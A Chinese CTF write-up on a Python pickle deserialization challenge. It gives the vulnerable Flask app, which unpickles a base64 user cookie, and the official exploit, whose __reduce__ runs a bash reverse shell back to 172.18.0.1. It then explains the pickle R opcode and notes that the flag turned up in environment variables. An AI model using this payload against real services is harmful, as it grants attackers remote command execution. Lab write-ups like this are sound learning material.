这个题87分确实有点吓人了 其他都是1分 然后很多人做出来 这个只有几十个 和之前eazynode一样,现在做出来就知道它的坑点在哪了。
考点:
????????Python反序列化
开局:
开局进来什么都没有 回去看题目发现给了源码和exp
import pickle
import base64
from flask import Flask, request
app = Flask(__name__)
@app.route("/")
def index():
try:
user = base64.b64decode(request.cookies.get('user'))
user = pickle.loads(user)
username = user["username"]
except:
username = "Guest"
return "Hello %s" % username
if __name__ == "__main__":
app.run()
源码很简单 就从cookie中先base64解码取出user值在pickle反序列化 user异常会回显Guest 我们正常访问就返回上面的那样了?
思路:
思路也就很简单 构造个恶意类 序列化后再base64编码 再用cookie发包就行了 下面是官方exp
#!/usr/bin/env python3
import requests
import pickle
import os
import base64
class exp(object):
def __reduce__(self):
s = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.18.0.1",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'"""
return (os.system, (s,))
e = exp()
s = pickle.dumps(e)
response = requests.get("http://172.18.0.2:8000/", cookies=dict(
user=base64.b64encode(s).decode()
))
print(response.content)
exp中的__reduce魔法函数之前我有写到 见PYTHON反序列化?就是
取当前栈的栈顶记为args ,然后把它弹掉。
取当前栈的栈顶记为f ,然后把它弹掉。
以args 为参数,执行函数f ,把结果压进当前栈。
有没有__reduce都要执行这个方法,只要在序列化中的字符串中存在R 指令。?所以exp中最后return那个函数是要被执行的
然后就是索然无味的反弹shell 找flag了
但是神奇的是 这个题的flag没有那么好找
我把文件夹找遍了 一个fl都没看见 更别说flag了 大写我也找了 哭了
然后在环境变量找到了。。。。
?
总结:
? ? ? ? 就是重温python反序列化,这个重要的魔法方法__reduce挺重要的,反正遇到的好多次都是它,之前我也写到就是他是很常见的python反序列化中出现的魔法函数,慢慢来
开摆辽
?
|